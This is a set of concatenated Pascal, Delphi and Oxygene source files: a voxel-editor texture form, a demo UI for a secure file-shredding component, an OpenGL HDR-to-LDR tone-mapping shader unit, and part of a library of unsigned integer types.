FrmMain.Document.ActiveSection^.Tailer.XSize-1 do for y := 0 to FrmMain.Document.ActiveSection^.Tailer.YSize-1 do begin z := 0; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(v.colour); Image1.Picture.Bitmap.Canvas.Pixels[x,y] := Image1.Picture.Bitmap.Canvas.Brush.Color; end; z := z + 1; until (z > zmax) or (v.Used = true); end; Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(-1); lastheight := Image1.Picture.Bitmap.Height+1; Image1.Picture.Bitmap.Height := lastheight + FrmMain.Document.ActiveSection^.Tailer.YSize; // Take front texture for x := 0 to FrmMain.Document.ActiveSection^.Tailer.XSize-1 do for y := 0 to FrmMain.Document.ActiveSection^.Tailer.YSize-1 do begin z := zmax; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(v.colour); Image1.Picture.Bitmap.Canvas.Pixels[x,lastheight+y] := Image1.Picture.Bitmap.Canvas.Brush.Color; end; z := z - 1; until (z < 0) or (v.Used = true); end; Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(-1); lastheight := Image1.Picture.Bitmap.Height+1; Image1.Picture.Bitmap.Height := lastheight + FrmMain.Document.ActiveSection^.Tailer.ZSize; // Take bottom texture. for x := 0 to FrmMain.Document.ActiveSection^.Tailer.XSize-1 do for z := 0 to FrmMain.Document.ActiveSection^.Tailer.ZSize-1 do begin y := 0; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(v.colour); Image1.Picture.Bitmap.Canvas.Pixels[x,lastheight+z] := Image1.Picture.Bitmap.Canvas.Brush.Color; end; y := y + 1; until (y > ymax) or (v.Used = true); end; Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(-1); lastheight := Image1.Picture.Bitmap.Height+1; Image1.Picture.Bitmap.Height := lastheight + FrmMain.Document.ActiveSection^.Tailer.ZSize; // Take top texture. for x := 0 to FrmMain.Document.ActiveSection^.Tailer.XSize-1 do for z := 0 to FrmMain.Document.ActiveSection^.Tailer.ZSize-1 do begin y := ymax; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(v.colour); Image1.Picture.Bitmap.Canvas.Pixels[x,lastheight+z] := Image1.Picture.Bitmap.Canvas.Brush.Color; end; y := y - 1; until (y < 0) or (v.Used = true); end; Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(-1); lastheight := Image1.Picture.Bitmap.Height+1; Image1.Picture.Bitmap.Height := lastheight + FrmMain.Document.ActiveSection^.Tailer.ZSize; // Take left side texture. for y := 0 to FrmMain.Document.ActiveSection^.Tailer.YSize-1 do for z := 0 to FrmMain.Document.ActiveSection^.Tailer.ZSize-1 do begin x := 0; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(v.colour); Image1.Picture.Bitmap.Canvas.Pixels[y,lastheight+z] := Image1.Picture.Bitmap.Canvas.Brush.Color; end; x := x + 1; until (x > xmax) or (v.Used = true); end; Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(-1); lastheight := Image1.Picture.Bitmap.Height+1; Image1.Picture.Bitmap.Height := lastheight + FrmMain.Document.ActiveSection^.Tailer.ZSize; // Take right side texture. for y := 0 to FrmMain.Document.ActiveSection^.Tailer.YSize-1 do for z := 0 to FrmMain.Document.ActiveSection^.Tailer.ZSize-1 do begin x := xmax; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(v.colour); Image1.Picture.Bitmap.Canvas.Pixels[y,lastheight+z] := Image1.Picture.Bitmap.Canvas.Brush.Color; end; x := x - 1; until (x < 0) or (v.Used = true); end; Image1.refresh; end; procedure TFrmVoxelTexture.FormShow(Sender: TObject); begin Image1.Picture.Bitmap.FreeImage; BtGetVoxelTextureClick(sender); end; procedure TFrmVoxelTexture.BtLoadTextureClick(Sender: TObject); begin if OpenPictureDialog1.Execute then begin if FileExists(OpenPictureDialog1.FileName) then Image1.Picture.LoadFromFile(OpenPictureDialog1.filename); end; end; procedure TFrmVoxelTexture.BtSaveTextureClick(Sender: TObject); begin if SavePictureDialog1.Execute then image1.Picture.SaveToFile(SavePictureDialog1.FileName); end; procedure TFrmVoxelTexture.BtSavePaletteClick(Sender: TObject); var x,y,c,cmax,size : integer; begin if SavePictureDialog1.Execute then begin if SpectrumMode = ModeColours then cmax := 256 else cmax := ActiveNormalsCount; size := 5; Image2.Picture.Bitmap.width := 0; Image2.Picture.Bitmap.height := 0; Image2.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(-1); Image2.Picture.Bitmap.width := 8*size; Image2.Picture.Bitmap.height := 32*size; c := 0; for x := 0 to 7 do for y := 0 to 31 do begin if c < cmax then begin Image2.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(c); Image2.Picture.Bitmap.Canvas.FillRect(rect(x*size,y*size,x*size+size,y*size+size)); end; c := c +1; end; Image2.Picture.SaveToFile(SavePictureDialog1.FileName); end; end; procedure TFrmVoxelTexture.BtApplyTextureClick(Sender: TObject); var x,y,z,zmax,xmax,ymax,lastheight,col,pp : integer; v : tvoxelunpacked; begin // This is one of the worst documented functions ever, if not the worst // in the history of this program. // Apparently, this is what texturizes the voxel. //zmax := ActiveSection.Tailer.ZSize-1; ProgressBar.Visible := true; if CbPaintRemaining.Checked then begin LbCurrentOperation.Visible := true; LbCurrentOperation.Caption := 'Applying Texture To Bottom And Top Sides'; LbCurrentOperation.Refresh; lastheight := 2*(FrmMain.Document.ActiveSection^.Tailer.YSize+1); ProgressBar.Position := 0; ProgressBar.Max := FrmMain.Document.ActiveSection^.Tailer.XSize *2; for x := 0 to FrmMain.Document.ActiveSection^.Tailer.XSize-1 do begin ProgressBar.Position := x; for z := 0 to FrmMain.Document.ActiveSection^.Tailer.ZSize-1 do for y := 0 to ((FrmMain.Document.ActiveSection^.Tailer.YSize-1) div 2) do begin FrmMain.Document.ActiveSection^.GetVoxel(x,((FrmMain.Document.ActiveSection^.Tailer.YSize-1) div 2)-y,z,v); if v.Used then begin col := FrmMain.Document.Palette^.GetColourFromPalette(Image1.Picture.Bitmap.Canvas.Pixels[x,lastheight+z]); if col <> GetVXLPaletteColor(-1) then if SpectrumMode = ModeColours then v.Colour := col else v.Normal := col; FrmMain.Document.ActiveSection^.SetVoxel(x,((FrmMain.Document.ActiveSection^.Tailer.YSize-1) div 2)-y,z,v); end; end; end; lastheight := lastheight + FrmMain.Document.ActiveSection^.Tailer.YSize+1; for x := 0 to FrmMain.Document.ActiveSection^.Tailer.XSize-1 do begin ProgressBar.Position := FrmMain.Document.ActiveSection^.Tailer.XSize+x; for z := 0 to FrmMain.Document.ActiveSection^.Tailer.ZSize-1 do for y := 0 to ((FrmMain.Document.ActiveSection^.Tailer.YSize-1) div 2) do begin FrmMain.Document.ActiveSection^.GetVoxel(x,((FrmMain.Document.ActiveSection^.Tailer.YSize-1) div 2)+y,z,v); if v.Used then begin col := FrmMain.Document.Palette^.GetColourFromPalette(Image1.Picture.Bitmap.Canvas.Pixels[x,lastheight+z]); if col <> GetVXLPaletteColor(-1) then if SpectrumMode = ModeColours then v.Colour := col else v.Normal := col; FrmMain.Document.ActiveSection^.SetVoxel(x,((FrmMain.Document.ActiveSection^.Tailer.YSize-1) div 2)+y,z,v); end; end; end; end; xmax := FrmMain.Document.ActiveSection^.Tailer.XSize-1; ymax := FrmMain.Document.ActiveSection^.Tailer.YSize-1; zmax := FrmMain.Document.ActiveSection^.Tailer.ZSize-1; ProgressBar.Max := (xmax*4)+ (ymax*2); pp := ProgressBar.Position; LbCurrentOperation.Caption := 'Applying Texture To Back And Front Sides'; LbCurrentOperation.Refresh; for x := 0 to FrmMain.Document.ActiveSection^.Tailer.XSize-1 do for y := 0 to FrmMain.Document.ActiveSection^.Tailer.YSize-1 do begin z := 0; ProgressBar.Position := x + pp; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin col := FrmMain.Document.Palette^.GetColourFromPalette(Image1.Picture.Bitmap.Canvas.Pixels[x,y]); if col <> GetVXLPaletteColor(-1) then if SpectrumMode = ModeColours then v.Colour := col else v.Normal := col; FrmMain.Document.ActiveSection^.SetVoxel(x,y,z,v); end; z := z + 1; until (z > zmax) or (v.Used = true); end; lastheight := FrmMain.Document.ActiveSection^.Tailer.YSize+1; pp := ProgressBar.Position; for x := 0 to FrmMain.Document.ActiveSection^.Tailer.XSize-1 do for y := 0 to FrmMain.Document.ActiveSection^.Tailer.YSize-1 do begin z := zmax; ProgressBar.Position := x + pp; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin col := FrmMain.Document.Palette^.GetColourFromPalette(Image1.Picture.Bitmap.Canvas.Pixels[x,lastheight+y]); if col <> GetVXLPaletteColor(-1) then if SpectrumMode = ModeColours then v.Colour := col else v.Normal := col; FrmMain.Document.ActiveSection^.SetVoxel(x,y,z,v); end; z := z - 1; until (z < 0) or (v.Used = true); end; LbCurrentOperation.Caption := 'Applying Texture To Bottom And Top Sides'; LbCurrentOperation.Refresh; // Here we start at the 3rd part of the whole picture. lastheight := lastheight +FrmMain.Document.ActiveSection^.Tailer.YSize+1; pp := ProgressBar.Position; for x := 0 to FrmMain.Document.ActiveSection^.Tailer.XSize-1 do for z := 0 to FrmMain.Document.ActiveSection^.Tailer.ZSize-1 do begin y := 0; ProgressBar.Position := x +pp; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin col := FrmMain.Document.Palette^.GetColourFromPalette(Image1.Picture.Bitmap.Canvas.Pixels[x,lastheight+z]); if col <> GetVXLPaletteColor(-1) then if SpectrumMode = ModeColours then v.Colour := col else v.Normal := col; FrmMain.Document.ActiveSection^.SetVoxel(x,y,z,v); end; y := y + 1; until (y > ymax) or (v.Used = true); end; lastheight := lastheight +FrmMain.Document.ActiveSection^.Tailer.ZSize+1; pp := ProgressBar.Position; // Take top texture. for x := 0 to FrmMain.Document.ActiveSection^.Tailer.XSize-1 do for z := 0 to FrmMain.Document.ActiveSection^.Tailer.ZSize-1 do begin y := ymax; ProgressBar.Position := x + pp; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin col := FrmMain.Document.Palette^.GetColourFromPalette(Image1.Picture.Bitmap.Canvas.Pixels[x,lastheight+z]); if col <> GetVXLPaletteColor(-1) then if SpectrumMode = ModeColours then v.Colour := col else v.Normal := col; FrmMain.Document.ActiveSection^.SetVoxel(x,y,z,v); end; y := y - 1; until (y < 0) or (v.Used = true); end; lastheight := lastheight +FrmMain.Document.ActiveSection^.Tailer.ZSize+1; pp := ProgressBar.Position; LbCurrentOperation.Caption := 'Applying Texture To Left And Right Sides'; LbCurrentOperation.Refresh; for y := 0 to FrmMain.Document.ActiveSection^.Tailer.YSize-1 do for z := 0 to FrmMain.Document.ActiveSection^.Tailer.ZSize-1 do begin x := 0; ProgressBar.Position := y + pp; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin col := FrmMain.Document.Palette^.GetColourFromPalette(Image1.Picture.Bitmap.Canvas.Pixels[y,lastheight+z]); if col <> GetVXLPaletteColor(-1) then if SpectrumMode = ModeColours then v.Colour := col else v.Normal := col; FrmMain.Document.ActiveSection^.SetVoxel(x,y,z,v); end; x := x + 1; until (x > xmax) or (v.Used = true); end; lastheight := lastheight +FrmMain.Document.ActiveSection^.Tailer.ZSize+1; pp := ProgressBar.Position; for y := 0 to FrmMain.Document.ActiveSection^.Tailer.YSize-1 do for z := 0 to FrmMain.Document.ActiveSection^.Tailer.ZSize-1 do begin x := xmax; ProgressBar.Position := y + pp; repeat FrmMain.Document.ActiveSection^.GetVoxel(x,y,z,v); if v.Used then begin col := FrmMain.Document.Palette^.GetColourFromPalette(Image1.Picture.Bitmap.Canvas.Pixels[y,lastheight+z]); if col <> GetVXLPaletteColor(-1) then if SpectrumMode = ModeColours then v.Colour := col else v.Normal := col; FrmMain.Document.ActiveSection^.SetVoxel(x,y,z,v); end; x := x - 1; until (x < 0) or (v.Used = true); end; ProgressBar.Visible := false; LbCurrentOperation.Visible := false; FrmMain.RefreshAll; end; procedure TFrmVoxelTexture.BtOKClick(Sender: TObject); begin BtOK.Enabled := false; CreateVXLRestorePoint(FrmMain.Document.ActiveSection^,Undo); BtApplyTextureClick(sender); FrmMain.UpdateUndo_RedoState; //FrmMain.RefreshAll; FrmMain.SetVoxelChanged(true); Close; end; procedure TFrmVoxelTexture.BtCancelClick(Sender: TObject); begin Close; end; procedure TFrmVoxelTexture.FormCreate(Sender: TObject); begin Panel2.DoubleBuffered := true; end; end.
unit Main; // Description: // By Sarah Dean // Email: sdean12@sdean12.org // WWW: http://www.SDean12.org/ // // ----------------------------------------------------------------------------- // interface {$IFDEF LINUX} This software is only intended for use under MS Windows {$ENDIF} {$WARN UNIT_PLATFORM OFF} // Useless warning about platform - we're already // protecting against that! uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Shredder, ComCtrls, FileCtrl; type TfrmMain = class(TForm) ShredderObj: TShredder; OpenDialog1: TOpenDialog; PageControl1: TPageControl; TabSheet1: TTabSheet; TabSheet2: TTabSheet; TabSheet4: TTabSheet; GroupBox1: TGroupBox; Label1: TLabel; dcbOverwriteDriveFreeSpace: TDriveComboBox; pbTestOverwriteDriveFreeSpace: TButton; ckSilentOverwriteDriveFreeSpace: TCheckBox; GroupBox2: TGroupBox; Label5: TLabel; edFileSlackFilename: TEdit; pbBrowseFileSlackFilename: TButton; pbOverwriteFileSlack: TButton; GroupBox4: TGroupBox; Label6: TLabel; edDestroyFileDirName: TEdit; pbBrowseDestroyFilename: TButton; pbBrowseDestroyDirname: TButton; pbDestroyFileDir: TButton; ckSilentDestroyFileDir: TCheckBox; ckQuickShred: TCheckBox; TabSheet5: TTabSheet; GroupBox5: TGroupBox; Label2: TLabel; Label3: TLabel; edRegkey: TEdit; pbTestDestroyRegkey: TButton; GroupBox3: TGroupBox; Label4: TLabel; dcbOverwriteAllFileSlack: TDriveComboBox; pbOverwriteAllFileSlack: TButton; ckSilentOverwriteAllFileSlack: TCheckBox; pbClose: TButton; procedure pbTestDestroyRegkeyClick(Sender: TObject); procedure pbDestroyFileDirClick(Sender: TObject); procedure pbOverwriteAllFileSlackClick(Sender: TObject); procedure pbOverwriteFileSlackClick(Sender: TObject); procedure pbTestOverwriteDriveFreeSpaceClick(Sender: TObject); procedure pbBrowseFileSlackFilenameClick(Sender: TObject); procedure pbBrowseDestroyFilenameClick(Sender: TObject); procedure pbBrowseDestroyDirnameClick(Sender: TObject); procedure pbCloseClick(Sender: TObject); procedure FormShow(Sender: TObject); private { Private declarations } public { Public declarations } end; var frmMain: TfrmMain; implementation {$R *.DFM} uses SDUGeneral; procedure TfrmMain.pbTestDestroyRegkeyClick(Sender: TObject); begin ShredderObj.DestroyRegKey(edRegkey.text); MessageDlg('The operation completed.', mtInformation, [mbOK], 0); end; procedure TfrmMain.pbDestroyFileDirClick(Sender: TObject); begin ShredderObj.DestroyFileOrDir(edDestroyFileDirName.text, ckQuickShred.checked, ckSilentDestroyFileDir.checked); MessageDlg('The operation completed.', mtInformation, [mbOK], 0); end; procedure TfrmMain.pbOverwriteAllFileSlackClick(Sender: TObject); var status: integer; begin status := ShredderObj.OverwriteAllFileSlacks(dcbOverwriteAllFileSlack.drive, ckSilentOverwriteAllFileSlack.checked); if (status = -1) then begin MessageDlg('An error occured while carrying out the requested operation.', mtError, [mbOK], 0); end else if (status = -2) then begin MessageDlg('User cancelled the requested operation.', mtInformation, [mbOK], 0); end else if (status = 1) then begin MessageDlg('The operation completed successfully.', mtInformation, [mbOK], 0); end; end; procedure TfrmMain.pbOverwriteFileSlackClick(Sender: TObject); begin if ShredderObj.OverwriteFileSlack(edFileSlackFilename.Text) then begin MessageDlg('The operation completed successfully.', mtInformation, [mbOK], 0); end else begin MessageDlg('An error occured while carrying out the requested operation.', mtError, [mbOK], 0); end; end; procedure TfrmMain.pbTestOverwriteDriveFreeSpaceClick(Sender: TObject); var status: integer; begin status := ShredderObj.OverwriteDriveFreeSpace(dcbOverwriteDriveFreeSpace.drive, ckSilentOverwriteDriveFreeSpace.checked); if (status = -1) then begin MessageDlg('An error occured while carrying out the requested operation.', mtError, [mbOK], 0); end else if (status = -2) then begin MessageDlg('User cancelled the requested operation.', mtInformation, [mbOK], 0); end else if (status = 1) then begin MessageDlg('The operation completed successfully.', mtInformation, [mbOK], 0); end; end; procedure TfrmMain.pbBrowseFileSlackFilenameClick(Sender: TObject); begin SDUOpenSaveDialogSetup(OpenDialog1, edFileSlackFilename.Text); if OpenDialog1.Execute() then begin edFileSlackFilename.Text := OpenDialog1.Filename; end; end; procedure TfrmMain.pbBrowseDestroyFilenameClick(Sender: TObject); begin SDUOpenSaveDialogSetup(OpenDialog1, edDestroyFileDirName.Text); if OpenDialog1.Execute() then begin edDestroyFileDirName.Text := OpenDialog1.Filename; end; end; procedure TfrmMain.pbBrowseDestroyDirnameClick(Sender: TObject); var dirToShred: string; begin if SelectDirectory('Select directory to overwrite', '', dirToShred) then begin edDestroyFileDirName.Text := dirToShred; end; end; procedure TfrmMain.pbCloseClick(Sender: TObject); begin Close(); end; procedure TfrmMain.FormShow(Sender: TObject); begin self.Caption := Application.Title; PageControl1.ActivePageIndex := 0; end; // ----------------------------------------------------------------------------- // ----------------------------------------------------------------------------- // ----------------------------------------------------------------------------- {$WARN UNIT_PLATFORM ON} // ----------------------------------------------------------------------------- END.
unit UnitOpenGLHDRToLDRShader; {$ifdef fpc} {$mode delphi} {$ifdef cpui386} {$define cpu386} {$endif} {$ifdef cpuamd64} {$define cpux86_64} {$endif} {$ifdef cpu386} {$define cpux86} {$define cpu32} {$asmmode intel} {$endif} {$ifdef cpux86_64} {$define cpux64} {$define cpu64} {$asmmode intel} {$endif} {$ifdef FPC_LITTLE_ENDIAN} {$define LITTLE_ENDIAN} {$else} {$ifdef FPC_BIG_ENDIAN} {$define BIG_ENDIAN} {$endif} {$endif} {-$pic off} {$define caninline} {$ifdef FPC_HAS_TYPE_EXTENDED} {$define HAS_TYPE_EXTENDED} {$else} {$undef HAS_TYPE_EXTENDED} {$endif} {$ifdef FPC_HAS_TYPE_DOUBLE} {$define HAS_TYPE_DOUBLE} {$else} {$undef HAS_TYPE_DOUBLE} {$endif} {$ifdef FPC_HAS_TYPE_SINGLE} {$define HAS_TYPE_SINGLE} {$else} {$undef HAS_TYPE_SINGLE} {$endif} {$if declared(RawByteString)} {$define HAS_TYPE_RAWBYTESTRING} {$else} {$undef HAS_TYPE_RAWBYTESTRING} {$ifend} {$if declared(UTF8String)} {$define HAS_TYPE_UTF8STRING} {$else} {$undef HAS_TYPE_UTF8STRING} {$ifend} {$else} {$realcompatibility off} {$localsymbols on} {$define LITTLE_ENDIAN} {$ifndef cpu64} {$define cpu32} {$endif} {$ifdef cpux64} {$define cpux86_64} {$define cpu64} {$else} {$ifdef cpu386} {$define cpux86} {$define cpu32} {$endif} {$endif} {$define HAS_TYPE_EXTENDED} {$define HAS_TYPE_DOUBLE} {$ifdef conditionalexpressions} {$if declared(RawByteString)} {$define HAS_TYPE_RAWBYTESTRING} {$else} {$undef HAS_TYPE_RAWBYTESTRING} {$ifend} {$if declared(UTF8String)} {$define HAS_TYPE_UTF8STRING} {$else} {$undef HAS_TYPE_UTF8STRING} {$ifend} {$else} {$undef HAS_TYPE_RAWBYTESTRING} {$undef HAS_TYPE_UTF8STRING} {$endif} {$endif} {$ifdef win32} {$define windows} {$endif} {$ifdef win64} {$define windows} {$endif} {$ifdef wince} {$define windows} {$endif} {$rangechecks off} {$extendedsyntax on} {$writeableconst on} {$hints off} {$booleval off} {$typedaddress off} {$stackframes off} {$varstringchecks on} {$typeinfo on} {$overflowchecks off} {$longstrings on} {$openstrings on} interface uses {$ifdef fpcgl}gl,glext,{$else}dglOpenGL,{$endif}UnitOpenGLShader; type THDRToLDRShader=class(TShader) public uTexture:glInt; public constructor Create; destructor Destroy; override; procedure BindAttributes; override; procedure BindVariables; override; end; implementation constructor THDRToLDRShader.Create; var f,v:ansistring; begin v:='#version 330'+#13#10+ 'out vec2 vTexCoord;'+#13#10+ 'void main(){'+#13#10+ ' vTexCoord = vec2((gl_VertexID >> 1) * 2.0, (gl_VertexID & 1) * 2.0);'+#13#10+ ' gl_Position = vec4(((gl_VertexID >> 1) * 4.0) - 1.0, ((gl_VertexID & 1) * 4.0) - 1.0, 0.0, 1.0);'+#13#10+ '}'+#13#10; f:='#version 330'+#13#10+ 'in vec2 vTexCoord;'+#13#10+ 'layout(location = 0) out vec4 oOutput;'+#13#10+ 'uniform sampler2D uTexture;'+#13#10+ 'vec3 convertLinearRGBToSRGB(vec3 c){'+#13#10+ ' return mix((pow(c, vec3(1.0 / 2.4)) * vec3(1.055)) - vec3(5.5e-2),'+#13#10+ ' c * vec3(12.92),'+#13#10+ ' lessThan(c, vec3(3.1308e-3)));'+#13#10+ '}'+#13#10+ 'vec3 ACESFilm(vec3 x){'+#13#10+ ' const float a = 2.51, b = 0.03, c = 2.43, d = 0.59, e = 0.14f;'+#13#10+ ' return clamp((x * ((a * x) + vec3(b))) / (x * ((c * x) + vec3(d)) + vec3(e)), vec3(0.0), vec3(1.0));'+#13#10+ '}'+#13#10+ 'vec3 toneMappingAndToLDR(vec3 x){'+#13#10+ ' float exposure = 1.0;'+#13#10+ ' return convertLinearRGBToSRGB(ACESFilm(x * exposure));'+#13#10+ '}'+#13#10+ 'void main(){'+#13#10+ ' vec4 c = textureLod(uTexture, vTexCoord, 0.0);'+#13#10+ ' oOutput = vec4(toneMappingAndToLDR(c.xyz), c.w);'+#13#10+ '}'+#13#10; inherited Create(v,f); end; destructor THDRToLDRShader.Destroy; begin inherited Destroy; end; procedure THDRToLDRShader.BindAttributes; begin inherited BindAttributes; end; procedure THDRToLDRShader.BindVariables; begin inherited BindVariables; uTexture:=glGetUniformLocation(ProgramHandle,pointer(pansichar('uTexture'))); end; end.
namespace RemObjects.Elements.System; // Note: Since this is the library that *implements* unsigned types, you can't actually use them here. interface type Unsigned = public interface(java.lang.annotation.Annotation) end; UnsignedByte = public sealed class(Number, Comparable<UnsignedByte>) private fValue: SByte; const MASK: Int16 = $FF; class method ToShort(aValue: SByte): Int16; public const MAX_VALUE: SByte = SByte($FF); MIN_VALUE: SByte = 0; public constructor(aValue: SByte); constructor(aValue: String); method compareTo(Value: UnsignedByte): Integer; method intValue: RemObjects.Oxygene.System.Integer; override; method longValue: RemObjects.Oxygene.System.Int64; override; method floatValue: RemObjects.Oxygene.System.Single; override; method doubleValue: RemObjects.Oxygene.System.Double; override; method byteValue: RemObjects.Oxygene.System.SByte; override; method shortValue: RemObjects.Oxygene.System.SmallInt; override; class method unsignedToDouble(aValue: SByte): Double; class method unsignedToFloat(aValue: SByte): Single; class method doubleToUnsigned(aValue: Double): SByte; class method floatToUnsigned(aValue: Single): SByte; class method unsignedDivide(aValue, aWith: SByte): SByte; class method unsignedRemainder(aValue, aWith: SByte): SByte; class method parseByte(aValue: String): SByte; class method parseByte(aValue: String; Radix: Int32): SByte; class method valueOf(aValue: SByte): UnsignedByte; method equals(aOther: Object): Boolean; override; method hashCode: Integer; override; method toString: String; override; class method toString(aValue: SByte): String; end; UnsignedShort = public sealed class(Number, Comparable<UnsignedShort>) private fValue: Int16; const MASK: Integer = $FFFF; class method ToInt(aValue: Int16): Integer; public const MAX_VALUE: Int16 = Int16($FFFF); MIN_VALUE: Int16 = 0; public constructor(aValue: Int16); constructor(aValue: String); method compareTo(Value: UnsignedShort): Integer; method intValue: RemObjects.Oxygene.System.Integer; override; method longValue: RemObjects.Oxygene.System.Int64; override; method floatValue: RemObjects.Oxygene.System.Single; override; method doubleValue: RemObjects.Oxygene.System.Double; override; method byteValue: RemObjects.Oxygene.System.SByte; override; method shortValue: RemObjects.Oxygene.System.SmallInt; override; class method unsignedToDouble(aValue: Int16): Double; class method unsignedToFloat(aValue: Int16): Single; class method doubleToUnsigned(aValue: Double): Int16; class method floatToUnsigned(aValue: Single): Int16; class method unsignedDivide(aValue, aWith: Int16): Int16; class method unsignedRemainder(aValue, aWith: Int16): Int16; class method parseShort(aValue: String): Int16; class method parseShort(aValue: String; Radix: Int32): Int16; class method valueOf(aValue: Int16): UnsignedShort; method toString: String; override; method &equals(aOther: Object): Boolean; override; method hashCode: Integer; override; class method toString(aValue: Int16): String; end; UnsignedInteger = public sealed class(Number, Comparable<UnsignedInteger>) private fValue: Int32; const MASK: Int64 = $FFFFFFFF; class method ToLong(aValue: Int32): Int64; public const MAX_VALUE: Int32 = Int32($FFFFFFFF); MIN_VALUE: Int32 = 0; public constructor(aValue: Int32); constructor(aValue: String); method compareTo(Value: UnsignedInteger): Integer; method intValue: RemObjects.Oxygene.System.Integer; override; method longValue: RemObjects.Oxygene.System.Int64; override; method floatValue: RemObjects.Oxygene.System.Single; override; method doubleValue: RemObjects.Oxygene.System.Double; override; method byteValue: RemObjects.Oxygene.System.SByte; override; method shortValue: RemObjects.Oxygene.System.SmallInt; override; class method unsignedToDouble(aValue: Int32): Double; class method unsignedToFloat(aValue: Int32): Single; class method doubleToUnsigned(aValue: Double): Int32; class method floatToUnsigned(aValue: Single): Int32; class method unsignedDivide(aValue, aWith: Int32): Int32; class method unsignedRemainder(aValue, aWith: Int32): Int32; class method parseInt(aValue: String): Int32; class method parseInt(aValue: String; Radix: Int32): Int32; class method valueOf(aValue: Int32): UnsignedInteger; method toString: String; override; method &equals(aOther: Object): Boolean; override; method hashCode: Integer; override; class method toString(aValue: Int32): String; class method toString(aValue: Int32; Radix: Int32): String; class method toBinaryString(aValue: Int32): String; class method toHexString(aValue: Int32): String; class method toOctalString(aValue: Int32): String; end; UnsignedLong = public sealed class(Number, Comparable<UnsignedLong>) private fValue: Int64; class method UnsignedCompare(X,Y: Int64): Integer; public const MAX_VALUE: Int64 = $FFFFFFFFFFFFFFFF; MIN_VALUE: Int64 = 0; public constructor(aValue: Int64); constructor(aValue: String); method compareTo(Value: UnsignedLong): Integer; method intValue: RemObjects.Oxygene.System.Integer; override; method longValue: RemObjects.Oxygene.System.Int64; override; method floatValue: RemObjects.Oxygene.System.Single; override; method doubleValue: RemObjects.Oxygene.System.Double; override; method byteValue: RemObjects.Oxygene.System.SByte; override; method shortValue: RemObjects.Oxygene.System.SmallInt; override; class method unsignedToDouble(aValue: Int64): Double; class method unsignedToFloat(aValue: Int64): Single; class method doubleToUnsigned(aValue: Double): Int64; class method floatToUnsigned(aValue: Single): Int64; class method unsignedDivide(aValue, aWith: Int64): Int64; class method unsignedRemainder(aValue, aWith: Int64): Int64; class method parseLong(aValue: String): Int64; class method parseLong(aValue: String; Radix: Int32): Int64; class method valueOf(aValue: Int64): UnsignedLong; method toString: String; override; method &equals(aOther: Object): Boolean; override; method hashCode: Integer; override; class method toString(aValue: Int64): String; class method toString(aValue: Int64; Radix: Int32): String; class method toBinaryString(aValue: Int64): String; class method toHexString(aValue: Int64): String; class method toOctalString(aValue: Int64): String; end; implementation { UnsignedByte } class method UnsignedByte.unsignedToDouble(aValue: SByte): Double; begin exit Double(aValue) + if aValue < 0 then 256.0 else 0.0; end; class method UnsignedByte.unsignedToFloat(aValue: SByte): Single; begin exit Single(aValue) + if aValue < 0 then Single(256.0) else Single(0.0); end; class method UnsignedByte.doubleToUnsigned(aValue: Double): SByte; begin if aValue > 127.0 then exit SByte(Double(aValue) - 256.0) else exit SByte(aValue); end; class method UnsignedByte.floatToUnsigned(aValue: Single): SByte; begin if aValue > Single(127.0) then exit SByte(Single(aValue) - Single(256.0)) else exit SByte(aValue); end; constructor UnsignedByte(aValue: SByte); begin fValue := aValue; end; constructor UnsignedByte(aValue: String); begin fValue := parseByte(aValue, 10); end; method UnsignedByte.toString: String; begin exit toString(fValue); end; class method UnsignedByte.toString(aValue: SByte): String; begin exit Int16.toString(ToShort(aValue)); end; method UnsignedByte.compareTo(Value: UnsignedByte): Integer; begin if Value = nil then raise new NullPointerException; exit SByte.compare(fValue + SByte.MIN_VALUE, Value.fValue + SByte.MIN_VALUE); end; method UnsignedByte.intValue: RemObjects.Oxygene.System.Integer; begin exit ToShort(fValue); end; method UnsignedByte.longValue: RemObjects.Oxygene.System.Int64; begin exit ToShort(fValue); end; method UnsignedByte.floatValue: RemObjects.Oxygene.System.Single; begin exit unsignedToFloat(fValue); end; method UnsignedByte.doubleValue: RemObjects.Oxygene.System.Double; begin exit unsignedToDouble(fValue); end; class method UnsignedByte.unsignedDivide(aValue: SByte; aWith: SByte): SByte; begin exit SByte(ToShort(aValue) div ToShort(aWith)); end; class method UnsignedByte.unsignedRemainder(aValue: SByte; aWith: SByte): SByte; begin exit SByte(ToShort(aValue) mod ToShort(aWith)); end; class method UnsignedByte.ToShort(aValue: SByte): Int16; begin exit aValue and MASK; end; method UnsignedByte.byteValue: RemObjects.Oxygene.System.SByte; begin exit fValue; end; method UnsignedByte.shortValue: RemObjects.Oxygene.System.SmallInt; begin exit ToShort(fValue); end; class method UnsignedByte.parseByte(aValue: String): SByte; begin exit parseByte(aValue, 10); end; class method 